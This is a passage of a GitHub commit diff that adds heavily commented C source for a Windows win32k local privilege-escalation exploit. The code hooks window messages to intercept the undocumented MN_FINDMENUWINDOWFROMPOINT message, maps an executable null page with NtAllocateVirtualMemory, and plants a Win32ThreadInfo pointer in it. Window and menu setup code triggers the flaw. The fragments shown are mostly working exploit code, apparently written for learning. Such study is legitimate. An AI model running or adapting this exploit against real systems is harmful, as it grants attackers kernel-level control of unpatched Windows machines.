You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
/* lParam is a pointer to a CWPSTRUCT which is defined as:
21
+
typedef struct tagCWPSTRUCT {
22
+
LPARAM lParam;
23
+
WPARAM wParam;
24
+
UINT message;
25
+
HWND hwnd;
26
+
} CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
27
+
*/
28
+
//lparam+8 is the message sent to the window, here we are checking for the undocumented message MN_FINDMENUWINDOWFROMPOINT which is sent to a window when the function xxxMNFindWindowFromPoint is called
29
+
if (*(DWORD *)(lParam + 8) == MN_FINDMENUWINDOWFROMPOINT) {
30
+
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
31
+
//lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one
printf("Failed to resolve NtAllocateVirtualMemory.\n");
129
+
return;
130
+
}
131
+
132
+
//If we pass 0 or NULL to NtAllocateVirtualMemory it won't allocate anything so we pass 1 which is rounded down to 0.
133
+
DWORD base_address = 1;
134
+
//Aritary size which is probably big enough - it'll get rounded up to the next memory page boundary anyway
135
+
SIZE_T region_size = 0x1000;
136
+
NTSTATUS tmp = pNtAllocateVirtualMemory(
137
+
GetCurrentProcess(), //HANDLE ProcessHandle => The process the mapping should be done for, we pass this process.
138
+
(LPVOID*)(&base_address),// PVOID *BaseAddress => The base address we want our memory allocated at, this will be rounded down to the nearest page boundary and the new value will written to it
139
+
0, //ULONG_PTR ZeroBits => The number of high-order address bits that must be zero in the base address, this is only used when the base address passed is NULL
140
+
®ion_size, //RegionSize => How much memory we want allocated, this will be rounded up to the nearest page boundary and the updated value will be written to the variable
141
+
(MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN),//ULONG AllocationType => What type of allocation to be done - the chosen flags mean the memory will allocated at the highest valid address and will immediately be reserved and commited so we can use it.
142
+
PAGE_EXECUTE_READWRITE //ULONG Protect => The page protection flags the memory should be created with, we want RWX
143
+
);
144
+
145
+
if (tmp != (NTSTATUS)0x0) {
146
+
printf("Failed to allocate null page.\n");
147
+
return;
148
+
}
149
+
150
+
DWORD pti = GetPTI();
151
+
if (pti == NULL) {
152
+
printf("Failed to find the Win32ThreadInfo structure for the current thread.\n");
153
+
return;
154
+
}
155
+
156
+
//create a pointer to 0x3 where we want to place the Win32ThreadInfo pointer and then place the pointer in memory.
We don't care about any of the style information but we set any needed values below.
177
+
*/
178
+
WNDCLASSA wnd_class = { 0 };
179
+
//Our custome WndProc handler, inspects any window messages before passing then onto the default handler
180
+
wnd_class.lpfnWndProc = WndProc;
181
+
//Returns a handle to the executable that has the name passed to it, passing NULL means it returns a handle to this executable
182
+
wnd_class.hInstance = GetModuleHandle(NULL);
183
+
//Random classname - we reference this later when creating a Window of this class
184
+
wnd_class.lpszClassName = "abcde";
185
+
186
+
//Registers the class in the global scope so it can be refered too later.
187
+
ATOM reg = RegisterClassA(&wnd_class);
188
+
if (reg == NULL){
189
+
printf("Failed to register window class.\n");
190
+
return;
191
+
}
192
+
193
+
/* Does what it says on the tin..
194
+
HWND WINAPI CreateWindow(
195
+
_In_opt_ LPCTSTR lpClassName, => The name of the Window class to be created, in this case the class we just registered
196
+
_In_opt_ LPCTSTR lpWindowName, => The name to give the window, we don't need to give it a name.
197
+
_In_ DWORD dwStyle, => Style options for the window, here
198
+
_In_ int x, => x position to create the window,this time the left edge
199
+
_In_ int y, => y position to create the window, this time the top edge
200
+
_In_ int nWidth, => Width of the window to create, randomly chosen value
201
+
_In_ int nHeight, => Height of the to create, randomly chosen value
202
+
_In_opt_ HWND hWndParent, => A handle to the parent window, this is our only window so NULL
203
+
_In_opt_ HMENU hMenu, => A handle to a menu or sub window to attach to the window, we havent created any yet.
204
+
_In_opt_ HINSTANCE hInstance, => A handle to the module the window should be associated with, for us this executable
205
+
_In_opt_ LPVOID lpParam => A pointer to data to be passed to the Window with the WM_CREATE message on creation, NULL for us as we don't wish to pass anything.
/*Menu properties to apply to the empty menu we just created
224
+
typedef struct tagMENUITEMINFO {
225
+
UINT cbSize;
226
+
UINT fMask;
227
+
UINT fType;
228
+
UINT fState;
229
+
UINT wID;
230
+
HMENU hSubMenu;
231
+
HBITMAP hbmpChecked;
232
+
HBITMAP hbmpUnchecked;
233
+
ULONG_PTR dwItemData;
234
+
LPTSTR dwTypeData;
235
+
UINT cch;
236
+
HBITMAP hbmpItem;
237
+
} MENUITEMINFO, *LPMENUITEMINFO;
238
+
*/
239
+
MENUITEMINFOA MenuOneInfo = { 0 };
240
+
//Default size
241
+
MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
242
+
//Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are called, in this case only dwTypeData which the contents of the menu item.
243
+
MenuOneInfo.fMask = MIIM_STRING;
244
+
/*Inserts a new menu at the specified position
245
+
BOOL WINAPI InsertMenuItem(
246
+
_In_ HMENU hMenu, => Handle to the menu the new item should be inserted into, in our case the empty menu we just created
247
+
_In_ UINT uItem, => it should item 0 in the menu
248
+
_In_ BOOL fByPosition, => Decided whether uItem is a position or an identifier, in this case its a position. If FALSE it makes uItem an identifier
249
+
_In_ LPCMENUITEMINFO lpmii => A pointer to the MENUITEMINFO structure that contains the menu item details.
_In_ int idHook, => The type of hook we want to create, in this case WH_CALLWNDPROC which means that the callback will be passed any window messages before the system sends them to the destination window procedure.
290
+
_In_ HOOKPROC lpfn, => The callback that should be called when triggered
291
+
_In_ HINSTANCE hMod, => If the hook functions is in a dll we pass a handle to the dll here, not needed in this case.
292
+
_In_ DWORD dwThreadId => The thread which the callback should be triggered in, we want it to be our current thread.
0 commit comments